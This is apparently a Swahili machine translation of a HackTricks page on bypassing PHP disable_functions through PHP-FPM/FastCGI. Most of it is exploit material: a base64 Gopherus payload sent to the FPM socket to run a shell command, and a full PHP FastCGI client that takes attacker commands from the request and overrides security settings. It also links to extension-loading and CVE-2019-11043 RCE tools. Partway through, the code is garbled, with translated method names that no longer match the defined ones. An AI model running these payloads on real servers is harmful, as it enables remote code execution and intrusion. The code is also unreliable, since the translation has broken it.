disable_functions bypass - php-fpm/FastCGI

Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi kuwa shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

PHP-FPM

PHP-FPM inajulikana kama mbadala bora kwa PHP FastCGI ya kawaida, ikitoa huduma ambazo ni hasa zenye manufaa kwa tovuti zenye trafiki kubwa. Inafanya kazi kupitia mchakato wa msingi unaosimamia mkusanyiko wa michakato ya wafanyikazi. Kwa ombi la skripti ya PHP, ni mtandao wa wavuti unaanza uunganisho wa proksi wa FastCGI kwa huduma ya PHP-FPM. Huduma hii ina uwezo wa kupokea maombi kupitia bandari za mtandao kwenye seva au soketi za Unix.

Licha ya jukumu la kati la uhusiano wa proksi, PHP-FPM inahitaji kuwa inafanya kazi kwenye mashine ile ile kama seva ya wavuti. Uhusiano inayotumia, ingawa ni msingi wa proksi, inatofautiana na uhusiano wa proksi wa kawaida. Baada ya kupokea ombi, mfanyikazi anayepatikana kutoka PHP-FPM anaprocessi—kutekeleza skripti ya PHP na kisha kupeleka matokeo kurudi kwa seva ya wavuti. Baada ya mfanyikazi kumaliza kusindika ombi, inakuwa inapatikana tena kwa maombi yanayokuja.

Lakini CGI na FastCGI ni nini?

CGI

Kawaida kurasa za wavuti, faili na nyaraka zote ambazo zinahamishwa kutoka kwenye seva ya wavuti kwenda kwa kivinjari zimehifadhiwa kwenye saraka maalum ya umma kama vile home/user/public_html. Wakati kivinjari kinapoomba yaliyomo fulani, seva inachunguza saraka hii na kutuma faili inayohitajika kwa kivinjari.

Ikiwa CGI imefungwa kwenye seva, saraka maalum ya cgi-bin pia inaongezwa hapo, kwa mfano home/user/public_html/cgi-bin. Skripti za CGI zimehifadhiwa kwenye saraka hii. Kila faili kwenye saraka inachukuliwa kama programu inayoweza kutekelezwa. Wakati wa kufikia skripti kutoka kwenye saraka, seva inatuma ombi kwa programu, inayohusika na skripti hiyo, badala ya kutuma yaliyomo ya faili kwa kivinjari. Baada ya usindikaji wa data ya kuingia kukamilika, programu inatuma data ya matokeo kwa seva ya wavuti ambayo inapeleka data kwa mteja wa HTTP.

Kwa mfano, wakati skripti ya CGI http://mysitename.com/cgi-bin/file.pl inafikiwa, seva itatekeleza programu sahihi ya Perl kupitia CGI. Data iliyozalishwa kutokana na utekelezaji wa skripti itatumwa na programu kwa seva ya wavuti. Seva, kwa upande mwingine, itapeleka data kwa kivinjari. Ikiwa seva isingekuwa na CGI, kivinjari kingeonyesha msimbo wa faili ya .pl yenyewe. (maelezo kutoka hapa)

FastCGI

FastCGI ni teknolojia mpya ya wavuti, toleo lililoboreshwa la CGI kama kazi kuu inabaki ile ile.

Hitaji la kukuza FastCGI ni kwamba Wavuti ilianzishwa na maendeleo ya haraka ya maombi na utata, pamoja na kushughulikia mapungufu ya ukuaji wa teknolojia ya CGI. Kukidhi mahitaji hayo Open Market iliwasilisha FastCGI – toleo lenye utendaji wa hali ya juu wa teknolojia ya CGI yenye uwezo ulioboreshwa.

disable_functions bypass

Inawezekana kukimbia nambari ya PHP ikidanganya FastCGI na kuepuka vikwazo vya disable_functions.

Kupitia Gopherus

Sina uhakika ikiwa hii inafanya kazi kwenye toleo za kisasa kwa sababu nilijaribu mara moja na haikutekeleza chochote. Tafadhali, ikiwa una habari zaidi kuhusu hii niwasiliane kupitia [kikundi cha telegram cha PEASS & HackTricks hapa](https://t.me/peass), au twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Kwa kutumia Gopherus unaweza kuzalisha mzigo wa kutuma kwa msikilizaji wa FastCGI na kutekeleza amri za kiholela:

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

PHP exploit

Sijui kama hii inafanya kazi katika toleo za kisasa kwa sababu nilijaribu mara moja na sikufanikiwa kutekeleza chochote. Kwa kweli nilifanikiwa kuona phpinfo() kutoka kwa utekelezaji wa FastCGI ulionyesha kuwa disable_functions ilikuwa tupu, lakini PHP (kwa njia fulani) bado ilinizuia kutekeleza kazi yoyote iliyozuiliwa hapo awali. Tafadhali, ikiwa una habari zaidi kuhusu hii niwasiliane kupitia [kikundi cha telegram cha PEASS & HackTricks hapa](https://t.me/peass), au twitter [@carlospolopm](https://twitter.com/hacktricks_live).

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
```php
* @return String
*/
public function ombi(array $params, $stdin)
{
$response = '';
$this->unganisha();
$ombi = $this->jengaPakiti(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$ombiParams = '';
foreach ($params as $key => $value) {
$ombiParams .= $this->jengaNvpair($key, $value);
}
if ($ombiParams) {
$ombi .= $this->jengaPakiti(self::PARAMS, $ombiParams);
}
$ombi .= $this->jengaPakiti(self::PARAMS, '');
if ($stdin) {
$ombi .= $this->jengaPakiti(self::STDIN, $stdin);
}
$ombi .= $this->jengaPakiti(self::STDIN, '');
fwrite($this->_sock, $ombi);
do {
$jibu = $this->somaPakiti();
if ($jibu['type'] == self::STDOUT || $jibu['type'] == self::STDERR) {
$response .= $jibu['content'];
}
} while ($jibu && $jibu['type'] != self::END_REQUEST);
var_dump($jibu);
if (!is_array($jibu)) {
throw new Exception('Ombi mbaya');
}
switch (ord($jibu['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('Programu hii haiwezi kumultiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('Ombi jipya limekataliwa; shughuli nyingi [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Thamani ya jukumu haifahamiki [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// mwanzo wa kutumia udhaifu hapa
if (!isset($_REQUEST['cmd'])) {
die("Angalia matokeo yako\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$ombi = '/'.basename($filepath);
$uri = $ombi .'?'.'amri='.$_REQUEST['cmd'];
$mteja = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // mzigo wa php -- Hufanyi chochote
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $ombi,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $ombi,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Piga simu: $uri\n\n";
echo $mteja->ombi($params, $code)."\n";
?>

Kwa kutumia kazi iliyopita utaona kuwa kazi system bado imelemazwa lakini phpinfo() inaonyesha disable_functions imebaki tupu:

Kwa hivyo, nadhani unaweza kuweka disable_functions tu kupitia faili za usanidi za php .ini na PHP_VALUE haitapindua mipangilio hiyo.

Hii ni skripti ya php kutumia itifaki ya fastcgi kudanganya open_basedir na disable_functions. Itakusaidia kudanganya disable_functions kali kufikia RCE kwa kupakia ugani mbaya. Unaweza kuipata hapa: https://github.com/w181496/FuckFastcgi au toleo lililobadilishwa kidogo na kuboreshwa hapa: https://github.com/BorelEnzo/FuckFastcgi

Utakuta kuwa udanganyifu huo ni sawa sana na msimbo uliopita, lakini badala ya kjaribu kudanganya disable_functions kwa kutumia PHP_VALUE, inajaribu kupakia moduli ya PHP ya nje kutekeleza msimbo kwa kutumia vigezo extension_dir na extension ndani ya kipengele PHP_ADMIN_VALUE. TAARIFA1: Labda utahitaji kurekebisha ugani huo na toleo sawa la PHP ambalo seva inatumia (unaweza kuangalia ndani ya matokeo ya phpinfo):

TAARIFA2: Nilifanikiwa kufanya hii kazi kwa kuingiza thamani za extension_dir na extension ndani ya faili ya usanidi ya PHP .ini (kitu ambacho hautaweza kufanya ukishambulia seva). Lakini kwa sababu fulani, wakati wa kutumia udanganyifu huu na kupakia ugani kutoka kwa kipengele cha PHP_ADMIN_VALUE, mchakato ulikufa tu, kwa hivyo sijui ikiwa mbinu hii bado ni halali.

PHP-FPM Kosa la Utekelezaji wa Kanuni Kijijini (CVE-2019–11043)

Unaweza kutumia udhaifu huu na phuip-fpizdam na kuitesit kwa kutumia mazingira haya ya docker: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043. Pia unaweza kupata uchambuzi wa udhaifu hapa.

Last updated